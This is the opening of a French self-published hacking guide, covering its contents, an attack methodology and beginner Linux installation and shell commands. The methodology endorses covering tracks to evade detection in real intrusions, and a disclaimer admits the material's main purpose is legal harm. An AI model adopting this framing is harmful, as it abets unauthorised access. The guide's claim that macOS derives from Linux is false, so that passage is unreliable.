Vous êtes sur la page 1sur 206

APPRENDRE LE HACKING

Méthode en français
Ce livre est totalement libre de droit, car je crois en une transmission du savoir de
manière gratuite et accessible à tous. Vous êtes donc libre de le lire, le partager et
le modifier à votre guise.
Toute modification est accueillie avec bienveillance, que ça soit pour signaler une
erreur, ou pour ajouter du contenu dans la perspective d’enrichir ce modeste
document et de le remettre à jour.

1
Sommaire
α Introduction
α Méthodologie d’une attaque
α Commençons simple : découvrir Linux
γ Installation et prise en main graphique
γ Consoles et Terminaux, un premier pas dans l’informatique
γ Commandes basiques : naviguer entre les fichiers
α Connexions, Permissions et Démons
γ Gérer les permissions
γ Gestion des disques
γ Automatisation avec Python
γ Gestion des réseaux et attaques MITM
γ Les processus et les services
α Pénétration et Reconnaissance
γ Nmap et le FootPrinting
γ OSINT : Open Source INTelligence
α Exploitation de Failles Logiciel
γ Metasploit et Exploit-db
γ Le BruteForce
α Exploiter le Web
γ Fonctionnement du Web
γ Votre deuxième langage : SQL
γ Injection SQL
γ CSRF
γ XSS
γ Requêtes HTTP modifiées
γ Authentification vulnérable
γ Autres types d’exploitation
α Exploitation du système
γ Automatisation des tâches avec Shell

2
γ C
γ Exploitation de Binaires
γ Escalade de privilège
γ Garder le contrôle
α Sécurisation, Anonymat et Communication
γ Se rendre anonyme
γ La cryptographie
γ S’incruster sur un réseau Wifi
γ La stéganographie
γ L’ingénierie sociale
α Informations sur l’ouvrage

3
Introduction

Ayant une très mauvaise mémoire, j’écrivais ces petits guides afin d’avoir un
endroit où entreposer mes connaissances et ainsi n’avoir plus jamais à les
réapprendre suite à un oubli. Me retrouvant avec une multitude de petits fichiers
sur mon disque-dur, l’idée de les assemblés était tentante.
Vous voici devant quelques années de recherches sur le sujet, à écumer l’Internet
mondial pour y trouver de précieuses informations sur les différents sujets
présentés ci-contre. Je ne me prétends pas du tout comme un professionnel de la
chose, et toute correction est la bienvenue. Le but de ce « livre » est surtout de
centraliser toutes les notions liées au Hacking et à la sécurité informatique en
général, et ce dans l’optique de les distribuées en toute gratuité et liberté. Vous
n’aurez donc pas à débourser des cents et des milles pour des tutoriels souvent
peu clairs, ni à dépenser des heures de votre existence à regarder des vidéos sur
YouTube, faites par des Indiens avec un fort accent incompréhensible.
Si les gens de ce pays sont de bonne foi (ils l’étaient avant, je ne perds pas espoir
à ce qu’ils le redeviennent), ils enrichiront cet ouvrage en proposant de nouvelles
techniques, de nouvelles approches, de nouvelles failles à exploiter ; bref, ils
feront de ces lignes un vrai livre pour qui souhaite commencer son périple dans ce
monde magnifique qu’est la sécurité informatique.

Décharges : Ni moi, ni aucunes des personnes ayant participé à la rédaction de


ce livre ne sommes responsables de vos actes. Nous savons que le but premier de
ces connaissances est de pouvoir provoquer le mal (au sens juridique) mais je ne
perds pas espoir en l’Homme et sais que vous utiliserez ces notions à un but
purement juste et moral (ou pour vous entraîner et démontrer votre puissance).
Réfléchissez bien aux conséquences que peuvent amener vos actions.

Cet ouvrage ne doit pas être suivi du début à la fin. Ne lisez que les parties qui
vous semblent importantes et que vous voulez approfondir. Néanmoins, je
recommande à ceux qui n’y connaissent rien à Linux de commencer par le début
du livre. Toutes les informations qui sont répertoriées dans ce livre sont utiles à
l’application en sécurité informatique, il n’y a donc pas forcément tout le savoir
existant sur les domaines précis. Bonne lecture, ou relecture !

i Afin de faciliter votre lecture, des boîtes infos comme celle-ci sont réparties
dans les endroits importants pour apporter de plus amples informations.

4
Suivre ce guide en parallèle de cours

Il est tout à fait possible de suivre ce guide en parallèle d’autres cours en


informatique. Il est même fort probable que vous ayez reçu ce guide de la part de
personnes suivants eux-mêmes des cours.
Les chapitres sont agencés d’une façon bien particulière, mais si vous voulez
étudier certains chapitres plutôt que d’autres, car ils coïncident avec vos autres
cours, vous retrouverez tout ce dont vous aurez besoin. Une explication
supplémentaire de la part de vos profs ne vous fera pas de mal par apport à ce
qu’y est écrit ici.
Voici une autre division des chapitres pour étudier certains points précis :

Algorithmie et programmation :
α Automatisation avec Python
α Shell
Système d’exploitation :
α Commençons simple : découvrir Linux
Réseaux et routage :
α Découvrir le réseau
α Les services
α Nmap et le Footprinting
Architecture :
α L’informatique de bas niveau avec C
α Exploitation de binaire
Fonctionnement du web :
α Exploiter le web

Bon apprentissage 👋

5
Méthodologie d’une attaque

Toute attaque sur une organisation ou une machine en particulier requiert une
certaine méthodologie. C’est un cycle qu’il faut répéter à chaque nouvelle
machine et qui commence dans un premier temps par de la reconnaissance.
Vient ensuite une analyse de la machine, des services qu’elle offre, tant dans
leur conception logicielle qui peuvent contenir des failles, que dans la manière
dont ces dits services sont utilisés par le propriétaire.
Le repérage effectué précédemment permet l’exploitation de ces failles afin de
prendre le contrôle d’un compte utilisateur sur la machine, voir de
l’administrateur lui-même.
Cependant, dans la plupart des cas, administrateur et utilisateur courant sont des
comptes bien distincts, il va donc falloir élever nos privilèges sur la machine.
Maintenant que nous sommes administrateurs, une nouvelle analyse doit être
faite pour s’assurer que toute la machine et ses données nous sont acquis.
De plus, il peut être utile au travers de cette analyse de gagner un accès
persistant à l’ordinateur de la victime, ce qui va entraîner une nouvelle
exploitation et de nouvelles escalades de privilèges.
A la fin des fins, il faut supprimer les traces de notre passage pour que jamais
nous ne soyons retrouvés. Cette dernière opération est à exécuter dans de vraies
situations, inutile de le faire en compétition de Hacking comme lors d’un CTF
(Capture The Flag).
Tout ce texte peut être résumé en une seule image que voici :

6
Dans cet ouvrage, vous apprendrez à exécuter toutes ces opérations, et même
bien plus.
Afin de bien commencer il va vous falloir maîtriser un nouvel environnement de
travail : GNU/Linux. Après avoir vu l’ensemble des éléments qui font une machine
fonctionnelle, nous verrons ensuite en détail quels seront les outils que vous aurez
à utiliser tout au long de ce guide pour les exploiter un à un.
Que cela soit des services mal paramétrés, des pages web présentant des failles,
des erreurs logicielles permettant l’élévation, ou encore de simple Hash cassable
en moins de 5 minutes, plus rien ne vous résistera, dans la limite de vos capacités
personnelles.

De nombreux exercices furent éparpillés afin que vous puissiez vous entraîner.

! De même, comme dit en introduction, de nombreuses boîtes comme celle-


ci seront présentes tout au long de votre lecture pour vois aider.
Afin de vous aider dans votre lecture, les commandes sont mises en forme dans
des boîtes comme ci-dessous :

$ commande [paramètres] (options)

Toute boîte de commande commençant par un $ peut être exécutée par n’importe
qui, celle commençant par un # ne peuvent l’être que par le super-utilisateur. Ces
deux symboles ne sont pas à recopier. Les [paramètres] sont des arguments
obligatoires mais qui changent en fonction de la situation, ils seront notés entre
crochet. À l’inverse, les options, qui sont des arguments facultatifs sont notés
entre parenthèses.
Commençons avec notre premier chapitre : la découverte de Linux.

7
Commençons Simple : Découvrir Linux

Pourquoi commencer un guide pareil par une grande partie sur Linux ? Ne
pourrions-nous pas tout simplement utiliser Windows comme tout le monde ?
Ces questions sont tout à fait légitimes venant de votre part, Linux fait peur du
fait de sa réputation : celle d’un système d’exploitation fait pour les geeks
puceaux et autres nerds, sans oublier les vieux barbus coincés à l’âge de pierre
utilisant encore un terminal.
Linux a beaucoup évolué depuis les premières versions où les stéréotypes
présentés plus haut étaient vrais, et maintenant le système est beaucoup plus
conviviale. D’ailleurs, je parle de système d’exploitation Linux, mais c’est un abus
de langage…
Linux est en fait le noyau, c’est-à-dire le point central, des systèmes d’exploitation
GNU/Linux. D’autres appareils utilisent Linux comme noyau, le plus connu étant
Android, mais aussi Mac OS, qui lui est basé sur l’ancienne version propriétaire de
Linux, UNIX, qu’Apple s’est réapproprié afin de fournir un système très performant
à ses utilisateurs.
Aujourd’hui, tout le monde utilise des services basés sur Linux, quand ce n’est pas
un ordinateur qui est directement dessus. La grande majorité des serveurs que
vous consultez tous les jours en allant sur Internet tournent sur un noyau Linux ;
les supers-ordinateurs utilisent Linux ; Microsoft a implémenté un noyau Linux
optionnel avec WSL au sein de Microsoft, ce qui n’est pas la chose la plus
optimisée à faire.

Alors je vous propose de fermer la fenêtre, un temps seulement si vous êtes


vraiment très effrayé à l’idée de changer de système d’exploitation, et de passer
à quelque chose de plus libre, communautaire et personnalisable, c’est-à-dire
Linux !
Si vous n’êtes pas convaincus par mes talents de vendeurs niveau brouteur
spécialisé dans le vol des personnes âgées par mail, sachez que toutes les
personnes qui ont installé Linux autours de moi sont très satisfaites de leur
système et ne regrette pas Windows, sauf pour les jeux.
Sautez donc le pas en continuant de lire !

8
Installation et prise en main graphique

I. Choisir sa distribution
Le grand point faible de Linux dans sa démocratisation par apport à Mac OS et
Windows a toujours été sa prétendue complexité d’installation et le nombre
ahurissant de distribution différente qui peuvent exister.
Si le premier point est tout à fait faux, il faut concéder que le deuxième est
entièrement juste. Pour ce guide, nous nous baserons sur les systèmes de type
Debian, mais nous ne vous recommandons pas son installation.
Pour un débutant en la matière, il est plus aisé de choisir une machine beaucoup
plus intuitive, et ce, dès le démarrage. Ainsi, voici une courte liste des
distributions que vous devriez essayer (n’en choisissez qu’une à la fin) :
α Ubuntu : Système d’exploitation le plus connu utilisant Linux, il est très peu
utilisé par les utilisateurs expérimentés qui lui reprochent de ne plus être
aussi libre qu’avant. C’est un système lourd mais très agréable à utiliser,
bien qu’un peu difficile à prendre en main pour quelqu’un qui n’y connaîtrait
vraiment rien en informatique. La prise en main graphique sera basée sur
Ubuntu, et le reste des commandes pour l’installation de paquets
également.

Lien pour télécharger la distribution : https://ubuntu.com/download/desktop

9
α Linux Mint : Bureau léger, interface rappelant Windows, c’est le système
parfait pour les débutants désireux d’un système fonctionnant dès la
première seconde après l’installation. Seul inconvénient : les problèmes
récurrents lors de l’installation chez beaucoup de personnes.

Lien pour la télécharger : https://linuxmint.com/download.php

α Kali Linux : Système performant pour les professionnels dans le domaine de


la sécurité informatique. Bureau très léger et performant, cependant, il
convient mieux aux utilisateurs avancés, à moins que vous ne soyez prêt à
écumer des pages et des pages de forums obscurs présents sur Internet
afin de faire fonctionner la connexion Internet.

Lien pour la télécharger : https://www.kali.org/get-kali/#kali-bare-metal

10
α Manjaro : Basé sur Arch Linux, Manjaro est un des systèmes les plus
performants qui existe. Jouissant d’une communauté active et d’un wiki
basé sur celui d’Arch Linux, la distribution tend à s’imposer avec le temps
de par sa simplicité d’utilisation, d’installation et de prise en charge. C’est
sur cette distribution que sera basé le manuel d’installation, et également
su celle-ci que j’utilise mon ordinateur ;) (mon bureau perso à droite)

Lien pour la télécharger : https://manjaro.org/download/


α Black Arch : Basé elle aussi sur Arch, cette distribution est faite pour les
experts dans le domaine de la sécurité informatique et de l’utilisation de
Linux. Ici, vous mettez les mains dans tambouille, et vous en redemandez.

Lien pour la télécharger : https://www.blackarch.org/downloads.html

11
II. Flasher son périphérique
Ça y est ? Vous avez fait votre choix ? Procédons à l’installation de votre nouveau
système ! Pas d’inquiétude, ce dernier n’est pas obligé de remplacer Windows
définitivement. Mais avant de commencer, il va vous falloir un peu de matériels :
α un ordinateur, de préférence le vôtre,
α un (ou deux) périphérique(s) de stockage, une clef USB par exemple,
α l’image disque d’une distribution Linux, celle que vous avez choisi.

Après cette courte liste de course, des explications s’imposent sur ce qu’est une
image disque. C’est un fichier portant l’extension iso que nous allons copier sur un
périphérique afin de démarrer la machine dessus. Sur tous les liens que je vous ai
donné, plusieurs versions vous sont proposés au téléchargement. Voici quelques
conseils pour bien télécharger l’image disque :
α Prenez celle qui correspond à votre architecture, c’est-à-dire 64 bits dans la
plupart des cas
α Choisissez celle portant l’inscription LTS si elle est disponible, les mises à
jour seront toujours d’actualité pour votre système, même dans dix ans.
α Si plusieurs interfaces vous sont proposées, préférez KDE ou XFCE, elles
sont plus intuitives que leurs concurrentes.
α Si votre machine est vraiment très vieille, rabattez-vous sur un système
comme Lubuntu ou AntiX

Une fois l’image téléchargée, il nous faut un logiciel pour copier les fichiers de
l’image disque sur la clef USB. Comprenez bien que copier le fichier iso depuis
votre Bureau sur la clef est inutile. Nous utiliserons Etcher, qui a l’avantage d’être
très simple et intuitif pour un début en douceur : https://www.balena.io/etcher/.

12
Nous allons graver un disque sur votre périphérique, toutes les données
! seront supprimées de la clef après cette action. Vérifiez bien les
composants que vous allez utiliser.

Lancez le programme, choisissez l’image dans vos fichiers, sélectionnez le


périphérique, confirmez le flash et attendez jusqu’à la fin… Vous possédez à
présent un système d’exploitation sur votre clef, il va falloir maintenant démarrer
dessus.

Pour faire ceci, il va falloir changer les options d’amorçage de votre ordinateur en
accédant au BIOS ou à l’UEFI, le deuxième étant plus moderne que le premier. Ces
deux mots barbares sont utilisés pour nommer le firmware de votre ordinateur,
c’est-à-dire le logiciel présent de base sur votre machine, indépendamment de la
présence d’un système d’exploitation comme Windows ou Linux, voir de l’absence
de ces systèmes tout court.

Les moyens de pénétrer dans de tels logiciels sont différents d’un système à un
autre. Par exemple, sur un HP, pour y accéder il faut appuyer une seule fois sur
[F10] au redémarrage de l’ordinateur lorsque l’écran s’allume, alors qu’un Huawei
a besoin d’un appui prolongé sur [F2] lors de la mise en route.

i Internet est votre meilleur ami pour trouver tout un tas de ressources sur
les firmwares de votre ordinateur.

! Ne faites pas n’importe quoi dans ce genre de logiciel, l’impact sur la


machine pourrait être très grave et irréparable.

Une fois que vous avez trouvé, branché votre clef USB (ou tout autre périphérique
de stockage), accédez-y, et désactivez Secure Boot ; puis dans la foulée, changez
l’ordre de démarrage pour que le périphérique contenant l’image disque soit
prioritaire sur votre disque dur.

Sauvegardez ces nouvelles options et redémarrez votre ordinateur. Celui-ci


devrait normalement vous ouvrir votre première session sur un environnement
Linux. Bienvenue dans le monde du Libre !

13
III. Instructions d’installation

! Ne touchez à rien sans que le système vous l’ait expressément demandé. Il


faut attendre jusqu’à l’affichage du bureau ou de la fenêtre de l’installeur.

Si vous rencontrez des erreurs lors de votre premier démarrage, vous avez
i deux solutions : changer d’ordinateur ou rechercher le problème sur
Internet. La première solution est à privilégier en dernier recours.

Votre ordinateur a bien démarré ? Tout s’est bien déroulé ? Génial ! Nous allons
pouvoir commencer l’installation.

i Notez que l’ordre des fenêtres peut varier en fonction des distributions.

En face de vous se trouve une fenêtre nommée Installateur, si ce n’est pas le cas,
une icône sur le bureau devrait vous permettre de l’ouvrir. Elle devrait ressembler
à celle présente ci-dessous :

La première des choses à faire et de changer la langue du système d’exploitation


en français. Personnellement, je garde toujours Linux en anglais, mais je peux
comprendre que l’on désire avoir un appareil en français pour s’y acclimater,
j’aurai fait la même chose à votre place (je l’ai faite d’ailleurs).

14
L’installateur vous demande ensuite de saisir votre région afin de vous proposer
une heure et une date cohérente avec votre situation :

Vient ensuite le paramétrage du clavier :

! Saisissez des informations valides et conformes avec votre situation. Ne


recopiez pas bêtement le contenu de ces fenêtres.

15
Voici venir le moment fatidique, la gestion des partitions, vous avez le droit à trois
scénarios différents en fonction de votre situation actuelle :

α Vous n’avez pas envie de toucher à votre disque dur interne et souhaitez
installer Linux sur un autre périphérique (clef USB, HDD externe, etc),
sélectionnez votre disque dans la liste en haut à droite :

Pour ce genre d’opération, il est préférable d’effacer le disque entier, cela


évite de compliquer inutilement la gestion du disque. Comme vous pouvez
le voir sur l’image, mon disque dur porte le nom « Expansion HDD », ce qui
est assez clair pour le reconnaître.

! Veillez bien à choisir le bon disque ; Vous risqueriez d’effacer l’ensemble de


votre système d’exploitation en cas de faux pas.

α Vous voulez remplacer Windows par Linux en vous lançant corps et âme
dans la découverte de ce dernier : Choisissez votre disque dur dans la liste
en haut à droite, il est généralement sélectionné par défaut, et appuyez sur
le bouton effacer le disque.
Une option vous proposant de créer un Swap s’active alors, je vous conseille
de le positionner sur « Swap avec hibernation ». Le système aura une bien
meilleure gestion de la mémoire cache de votre machine, ce qui est très

16
bénéfique pour une utilisation au quotidien. Nous reviendrons sur cette
notion de Swap plus loin dans l’ouvrage.
α Vous voulez installer Linux à côté de Windows pour bénéficier des deux
systèmes à la fois : Sélectionnez « Installer à côté » et laisser l’installeur
faire son travail tout seul. Vous pouvez également décider de réduire
manuellement la taille d’une partition afin de faire de la place pour Linux :

i Note : Les performances de Windows peuvent être ralenties avec cette


dernière option activée.

Le dernier écran nous propose de rentrer quelques informations à notre propos :

17
Il vous faut rentrer les champs suivant :
α Votre nom, c’est celui qui s’affichera lors de vos connexions et navigations
sur l’interface graphique.
α Votre nom pour la connexion, c’est le nom d’utilisateur que vous utiliserez
pour vous connecter à la machine, par terminal ou par interface graphique.
α Le nom de la machine, laissez libre coure à votre imagination pour celui-là.
α Votre mot de passe
α Je vous conseille également de cocher la dernière case afin d’avoir le même
mot de passe pour votre compte et celui de l’administrateur.

Une fois que toutes ces informations sont rentrées et valides, l’écran vous
exposant le résumé de toutes les modifications apportées par l’installation va se
présenter face à vous :

! Réfléchissez bien avent de valider l’installation, il se peut que des éléments


non voulus se soient glissés par inadvertance dans la liste.

Une fois l’installation finie, on se retrouve dans le chapitre suivant pour une rapide
découverte de l’interface graphique.

18
II. Interface graphique, qu’est-ce que c’est et comment choisir ?
Une Interface graphique (en anglais GUI: Graphical User Interface) est un service
qui permet l’utilisation de composants graphiques. Autrement dit, elle permet à
l’utilisateur de se servir de sa souris, de la déplacer, d’interagir avec un
environnement numérique composé de fenêtres pouvant se superposer.

Sur Windows, le système d’exploitation ne dispose que d’une interface graphique


afin de ne pas perdre les utilisateurs les moins aguerris. En effet, sans cette
liaison, l’ordinateur ne serait qu’une machine à ligne de commande, de quoi en
dégoûter beaucoup.

Exemple de l’interface graphique mise à disposition avec Windows 95

GNU/Linux étant un logiciel libre, chacun peut développer des composants et des
alternatives à certains bureaux sont donc nées pour répondre à des attentes bien
précises. Énumérer toutes les interfaces existantes serait impossible tant il y en a,
je vais donc lister les plus populaires ainsi que quelques-unes de leurs
spécificités :
α Gnome : Le bureau par défaut d’Ubuntu et de Fedora. Peut s’avérer
compliquer au début mais reste l’une des plus simples et des plus
développés (nombreuses extensions disponibles)
α Plasma par KDE : Bureau le plus développé et le plus personnalisable dans
les limites imposées par les développeurs. Très agréable d’utilisation mais
assez gourmand au niveau des ressources.
α XFCE : Interface légère, facile à utiliser, il peut cependant dégoûter par son
style un peu simpliste lorsqu’il n’est pas configuré.

19
α Openbox : Oublier tout ce qui peut prendre de la puissance inutilement. Il
est l’un des bureaux les plus légers. Est repoussant pour les utilisateurs non
expérimentés par son utilisation très particulière, mais très pratique pour les
machines ayant déjà un certaine âge (vieille d’une quinzaine d’années voir
plus)
α I3 : Ce n’est pas vraiment une interface graphique, et ce n’est pas
forcément judicieux de vous le présenter ici, mais I3 est une bénédiction
pour ceux fuyant la souris et préférant se débrouiller au clavier. Les fenêtres
sont mises sous la forme de tuiles superposées ou posées côte à côte.

Comme vous avez pu le voir, chaque GUI donne un large panel d’avantages et
d’inconvénients qui, selon l’utilisateur, feront de cette Interface la meilleure. Je
vous conseillerai cependant de rester sur GNOME ou Plasma, voir XFCE si vous
êtes courageux, et de fuir les dernières de la liste avant d’avoir obtenu un assez
bon niveau en utilisation du terminal.

V. Tour d’horizon de Gnome


Après de longs textes qui vous ont rempli la tête d’information semblant au
premier abord inutiles, commençons à attaquer le concret. Enfin, seulement au
niveau graphique, le plus intéressant arrivera dans la suite :)

C’est parti pour un tour d’horizon de l’interface graphique d’Ubuntu : GNOME.

Voici à quoi doit ressembler votre bureau, où à peu près selon la version dont vous
disposez (ici, 20.04). Sur cette image, on peut déjà voir que la forme n’est pas la
même que sur Windows. Tâchons de donner un peu de vocabulaire :
α Le panel : partie à gauche où sont alignées les applications.
α La top bar : Barre disposée en haut de l’écran, celle-ci comporte plusieurs
outils.

20
α Le bureau : Endroit où sont étalées les fichiers et dossiers présents dans le
répertoire Bureau.

Pour continuer notre tour, appuyez sur le bouton en bas à gauche, il permet
d’afficher la liste des applications installées sur la machine.

Essayez en certaines pour vous habituer à l’univers du logiciel libre. A savoir que
l’immense majorité des logiciels que vous utilisiez sur Windows ne sont pas
disponibles sur Linux, il va donc falloir trouver des alternatives que vous pourrez
utiliser. Le site https://alternativeto.net/ fera très bien l’affaire pour ce genre
d’occasion.

En cliquant sur la flèche en haut à droite (sur la top bar), un menu déroulant
devrait s’afficher proposant des options supplémentaires.

21
C’est depuis ce menu que vous pourrez accéder aux options de votre ordinateur
et à certaines options de Gnome.

Afin de finir cette courte partie, voyons à quoi ressemble l’explorateur de fichier :

C’en est fini pour ce petit tour ! J’espère qu’il vous aura plus.
Il est concevable de trouver la configuration par défaut de Gnome repoussante.
Mais n’ayez crainte, tout (presque) est changeable sur Linux, et je suis convaincu
que vous trouverez un style à votre goût. Cependant, certaines options requièrent
des connaissances plus approfondies voir très complexes afin d’être mises en
place. Pour les quelques-un ne me croyant pas, voilà à quoi peut ressembler un
beau bureau sur Linux avec beaucoup d’expériences :

          Crédit : hpakeu sur Reddit

Vous pourrez trouver d’autres exemples ici : https://www.reddit.com/r/unixporn/

22
Consoles et Terminaux, un premier pas dans l’informatique

Attaquons enfin la partie qui va vous immergeait pleinement dans le monde de


l’informatique.

I. Le terminal, mode graphique


Pour commencer à utiliser pleinement la puissance de votre ordinateur, ouvrez
donc une fenêtre de terminal.

Vous devriez obtenir ceci.

La ligne de texte écrite (ici : tacosindustry@top-budget:~$), appelée prompt,


n’est pas là pour rien. Elle indique dans l’ordre :

α Le nom de l’utilisateur suivi d’une arobase


α Le nom de la machine (appelé hostname), suivi de deux points
α ~ qui renvoie au dossier dans lequel nous nous trouvons. ~ signifie
/home/utilisateur. Ça peut paraître flou comme explication mais il faut le
comprendre comme étant votre répertoire personnel.
α $ exprime les permissions qu’à l’utilisateur. Nous y reviendrons un peu plus
tard (partie IV), mais retenez que lorsque qu’une commande vous sera
donnée, si elle commence par un $ – qui n’est pas compris dans la
commande à taper – cette dernière peut être exécutée par n’importe qui.

23
II. La console

La partie de Linux la plus connue reste la console. Un écran bicolor qui peuplera
vos cauchemars les plus horribles. Elle n’est pas à maîtriser, et personne ne
l’utilise, mais connaître son existence reste importante, et elle reste très classe à
montrer aux non-initiés pour frimer un peu :

! Lisez bien les instructions qui suivent avant de faire quoi que ce soit.

Une fois à l’intérieur de la console, il peut être assez difficile d’en sortir pour un
débutant. Retenez que les touches pour changer de console et en sortir sont Ctrl
+ Alt + fx, où x est un nombre compris entre 1 et 7. Par habitude, je vous dirai
que les touches pour aller sur la console sont f3, f4, f5, f6, f7 (à coupler avec Ctrl
+ Alt bien sûr). Que la touche pour revenir à la GUI est f2 et que celle pour aller
sur l’écran de verrouillage est f1. Mais elles changent en fonction des distributions
Linux. Pourquoi inventer une règle de convention à laquelle tous se plieraient,
lorsque l’on peut complexifier le tout.

Je vous laisse essayer chaque touche de votre clavier désespérément jusqu’à ce


que cela fonctionne. N’oubliez pas qu’il existe internet pour répondre à toutes vos
questions ; plusieurs Linuxiens sont déjà passés par toutes ces épreuves
compliquées (même moi, j’ai honte…).

24
Commandes de base : naviguer entre les fichiers

I. Changer de dossier et lister les fichiers

Tapons donc notre première commande :

$ ls

! Rappelez-vous, les signes $ et # présents au début de chaque commande


ne sont pas à recopier, ils indiquent la permission nécessaire.

Cette commande permet de lister les fichiers et les dossiers présents dans notre
répertoire. Je vous laisse essayer de votre côté, rien de bien fou devrait se
produire mais c’est déjà un pas dans votre apprentissage. Voici mon résultat :
$ ls
ASM.odt                      cours           Untitled.xcf
'Boîtes de dialogue.odt'     persoent   programmation

Ce résultat, également appelé sorti de commande (de l’anglais « command


output », c’est une dénomination plutôt rare) ne devrait pas du tout être le même
que le vôtre, ou alors vous vous trouvez sur ma machine, et vous devriez y partir
avant que je ne vous retrouve :O. Ce phénomène est tout à fait normal, on vient
de lister les fichiers et dossiers présents sur la machine, dans un dossier en
particulier, alors il est tout à fait normal que ce ne soient pas les mêmes en
fonction de la machine et du dossier dans lequel on l’exécute.

Si je fais cette petite précision qui peut paraître inutile aux yeux de ceux qui ont
déjà un lourd passé en informatique, c’est qu’elle peut s’avérer nécessaire pour
certains. Non pas que ceux concernés soient stupides, mais que tous puissent
comprendre que recopier bêtement une commande que je vous ai noté, et vous
attendre à l’exacte similitude des résultats, et une idée à vous sortir de la tête.
Cet ouvrage est fait pour vous faire découvrir, non seulement la sécurité
informatique, mais, in extenso, le fonctionnement profond de votre machine. Je ne
ferai pas de vous des script kiddie (utilisateurs recopiant bêtement des
programmes ou des lignes de code pour H4ck3R quelqu’un, on se sent Mister
Robot…).

Ces précisions faites, continuons. Les commandes, sur Linux, utilisent des
paramètres, que nous appelleront également option. Ce sont de petits ajouts à
une commande de base – souvent non obligatoire au bon fonctionnement du
programme – qui vont changer son fonctionnement, et donc, ce que cette

25
dernière va nous renvoyer. Par exemple, avec ls, vous pouvez ajouter --all après le
nom de la commande :

$ ls --all
.                        'Commentaire sur le C.odt'         programmation
..                        cours                             Untitled.xcf
ASM.odt                  '.~lock.Boîtes de dialogue.odt#'
'Boîtes de dialogue.odt'   persoent

Ici, ls va retourner TOUS les fichiers, sans prendre en compte s’ils sont cachés ou
non. Car sur Linux, il existe cette fonctionnalité, qui est également présente sur
les systèmes Windows et OSX, et qui permet de cacher des fichiers. Enfin, pas de
les masquer à jamais, mais seulement de les rendre invisible aux yeux de
l’utilisateur peu averti qui n’utilisera pas l’option permettant de les afficher.

i Vous repérerez ces fichiers très simplement, ce sont dont le nom commence par
un point, vous pourrez même en créer vous-même à l’avenir.

Il faut savoir que chez les passionnés d’informatique, on est de véritable fainéant,
et donc, n’importe quel moyen qui nous permettrait d’automatiser une tâche ou
de la raccourcir est bon à prendre. C’est pour cette raison qu’il existe un
équivalent plus cours faisant exactement la même chose que --all :

$ ls -a

On remarquera au travers de ces exemples que :


i α Les paramètres étant des mots sont précédés de plusieurs tirets
α Les paramètres d’une seule lettre commencent avec un seul tiret

Avec de plus amples connaissances sur la commande ls, on peut ajouter plus
d’options à notre commande :

$ ls --all --reverse

Faire se suivre plusieurs options d’un coup est tout à fait possible, et leur ordre
importe peu dans la plupart des cas (si ce n’est pas le cas, vous n’aurez qu’à
essayer jusqu’à ce que l’effet escompté soit affiché).

De même que nous avons pu réduire --all en -a tout à l’heure, il est tout à fait
possible de réduire --reverse en une lettre :

$ ls -a -r

Ces manières de raccourcir les paramètres sont pour le moment assez claires, car
elles vous paraissent logiques, mais faites bien attention, il n’est pas rare que les

26
versions longues et courtes d’une commande n’est parfois aucun lien logique les
unissant de prime abord.

D’ailleurs, toujours dans cette optique d’en taper le moins possible, les petits
paramètres d’une lettre peuvent être combinés pour n’en former qu’un seul :

$ ls -ar

! Cette technique ne fonctionne qu’avec les options d’une lettre, inutile de


l’essayer avec celles de deux lettres ou plus, le résultat ne sera pas le bon.

Je pense que nous avons bien assez épilogué sur la commande ls pour passer à la
suite. La deuxième commande que je voudrai vous présenter est la suivante :

$ cd

Elle permet de se déplacer facilement de dossier en dossier, mais également, de


vous présenter le concept d’argument. En effet, afin de se déplacer dans un
dossier précis, il va falloir l’utiliser en argument de la commande. Ce n’est pas
bien compliqué, faites juste suivre cd par le nom du dossier dans lequel vous
voulez vous rendre. Par exemple, je veux me rendre dans mes documents :

[jacky@klvdwxx9 ~]$ cd Documents/


[jacky@klvdwxx9 Documents]$

i Comme vous pouvez le voir, le prompt a changé pour afficher le dossier


dans lequel je me trouve après le changement.

Ainsi, cela change un peu la syntaxe de cd que je vous avais donné au préalable.
Puisqu’il va falloir justifier un argument, nous le noterons entre crochets, cela
signifie qu’il est obligatoire pour un fonctionnement normal et complet de la
commande. De plus, à l’inverse des options qui resteront les mêmes sur toutes les
configurations pour obtenir un effet similaire, les arguments sont propres à
chaque cas de figures. Cela nous donne donc la ligne suivante :

$ cd [dossier]

Bon c’est très bien tout ça, mais comment revient-on en arrière, dans le dossier
précédent, ou dans le premier dossier de base. Et comment peut-on faire pour
découvrir de nouveaux dossiers ?

Nous répondrons à toutes ces questions en abordant un outil très utile dans la
prochaine partie : le manuel.

27
II. Lisez le putain de manuel (RTFM)

RTFM (read the fucking manual) est un mot que l’on retrouve souvent sur les
forums de discussions. Il permet de répondre rapidement au questionneur que sa
réponse se trouve dans le manuel, et que, plutôt que d’importuner les autres
utilisateurs avec sa question, il ferait mieux de la consulter, car il en apprendrait
beaucoup plus qu’avec un résumé fait par un inconnu. Mais qu’est-ce donc que ce
fameux manuel ?
Le manuel est un peu le livre sacré de tous les utilisateurs de Linux, un livre pas
facile à saisir au début et qui recèle potentiellement des connaissances
hermétiques et ésotériques. Vous le retrouverez en tapant :

$ man [commande]

i Vous noterez la présence d’un nouvel argument, la commande que vous


voulez précisément étudier. Les arguments sont propres à un programme !

Grâce à cette commande magique, une grande partie de vos questions


concernant l’utilisation d’un programme auront déjà trouvé leurs réponses. Même
la commande man possède son propre manuel !
Se déplacer à l’intérieur du manuel peut paraître un peu ardue au départ, mais on
en retiendra les règles suivantes :
α Les touches [flèche du bas] et [j] permettent de faire défiler la page
α Les touches [flèche du haut] et [k] permettent de remonter la page
α La touche [q] permet de sortir du manuel
Ainsi, pour retrouver le manuel de la commande cd, vous n’aurez qu’à taper :

$ man cd

Et vous y apprendrez, après sa lecture complète, que taper cd sans aucun


argument vous fera revenir dans le dossier de départ (appelé HOME), et que faire
suivre cd de deux points (..), vous fera revenir dans le dossier parent. Si la
structure des dossiers vous intéressent un peu plus pour comprendre le manuel
de cd plus en profondeur, de plus amples explications se trouvent au début du
chapitre sur la gestion des disques.
De même, après la lecture du manuel de ls avec :

$ man ls

On apprend que l’option -l peut s’avérer très utile...

28
III. Créer des fichiers, des dossiers et rediriger des résultats

Créer des fichiers et des dossiers, cela peut très bien se faire avec un explorateur
de fichier graphique, mais rappelez-vous, lorsque vous vous trouverez sur la
machine de quelqu’un d’autre, oubliez les outils graphiques. Voyons donc
comment le faire avec quelques lignes de commandes.
Pour créer un fichier, on utilisera touch suivi du nom du fichier en argument :

$ touch [nom]

Pour créer un dossier, on utilisera mkdir suivi du nom du dossier en argument :

$ mkdir [nom]

